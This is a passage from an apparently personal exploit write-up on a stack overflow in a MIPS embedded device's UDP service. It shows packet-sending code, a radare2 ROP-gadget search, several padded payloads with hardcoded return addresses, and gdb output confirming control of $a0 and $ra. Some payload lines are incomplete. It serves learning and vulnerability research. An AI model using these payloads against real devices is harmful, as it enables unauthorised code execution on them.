"asdf;lkj763" m . update ( key ) checksum = m . digest () client = socket . socket ( socket . AF_INET , socket . SOCK_DGRAM ) client . sendto ( header + checksum + padding + payload , ( host , port ))

We control the jump but… jump to where? We do not have any memory reference where our shellcode is. Instead of that we can try find a gadget that let us set a custom $ra and $a0 (if $ra and $a0 are values taken from the stack we can do something like dangerous_function(“whatever”)). A quick search with radare2 shows us a good candidate:

[0x004027b0]> "/R/ addiu a0;j* ra" 0x004154d4 27a40018 addiu a0, sp, 0x18 0x004154d8 8fbc0010 lw gp, 0x10(sp) 0x004154dc 8fbf0030 lw ra, 0x30(sp) 0x004154e0 03e00008 jr ra 0x004154e4 27bd0038 addiu sp, sp, 0x38

The register $a0 takes his value from the stack and $ra too, plus a jump to $ra. It is perfect! Put it together:

payload = "A" * 95 # Padding 1 payload += " \x00\x41\x54\xd4 " # 0x004154d4; our magic gadget to control $a0, $ra and jump to $ra payload += "C" * 16 # Padding 2 payload += " \x76\xff\xf4\x9c " # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0)) # 881 payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF"

Test it (put a breakpoint at 0x4154e0, where it takes the jump):

(gdb) x/i $pc => 0x4154e0 <__floatsidf+64>: jr ra 0x4154e4 <__floatsidf+68>: addiu sp,sp,56 (gdb) x/wx $a0 0x76fff550: 0x416f4141 (gdb) x/wx $ra 0x41774141: Cannot access memory at address 0x41774141

Whooooho! Exactly as we wanted. Just edit the payload to

payload = "A" * 95 # Padding 1 payload += "\x00\x41\x54\xd4" # 0x004154d4; our magic gadget to control $a0, $ra and jump to $ra payload += "C" * 16 # Padding 2 payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0)) payload += "A" * 4 # Padding 3 payload += "B" * 4 #Value that will take $a0 payload += "A" * 20 # Padding 4 payload += "C" * 4 #Value for $ra

Fire in the hole!

(gdb) x/i $pc => 0x4154e0 <__floatsidf+64>: jr ra 0x4154e4 <__floatsidf+68>: addiu sp,sp,56 (gdb) x/wx $a0 0x76fff550: 0x42424242 (gdb) x/i $ra 0x43434343: Cannot access memory at address 0x43434342

So we can call any function in the scope of our binary with an argument controlled by us. Continue this PoC is left as an exercise for the reader… but keep something in mind: the gadget used by us modify $gp ( lw gp, 0x10(sp) ). At 0x10 is the address used to bypass the crash, so in order to set other address we can build our payload with a small jump backwards and use addiu sp, sp, 0xc0 at 0x0040b8a0. So our payload will looks more like:

payload = "A" * 95 # Padding 1 payload += "\x00\x40\xb8\x98" # Short jump backwards payload += "C" * 16 # Padding 2 payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0)) payload += "D" * 168 # Padding 3 payload += "\x00\x41\x54\xd4" # 0x004154d4; our magic gadget to control $a0, $ra and jump to $ra payload += "E" * 12 # Padding 4 payload += "X" * # Value for $gp, change it if needed. payload += "F" * 4 # Padding 5 payload += "Y" * 4 # Value for $a0 payload += "G" * 4 # Padding 6 payload += "Z" * 4 # Value for $ra

0x06 Final words

This summer research in embedded devices had some cool results like this vulnerability, but more important: it was a nice way to learn more about exploiting and vulnerability hunting. If you find useful this article, or wanna point me to an error or a typo (keep in mind that I am new at this, so any tip is really welcome!), feel free to contact me at twitter @TheXC3LL.

Kudos to Pedro “P3r1k0” Guillén and his wicked sleep schedule.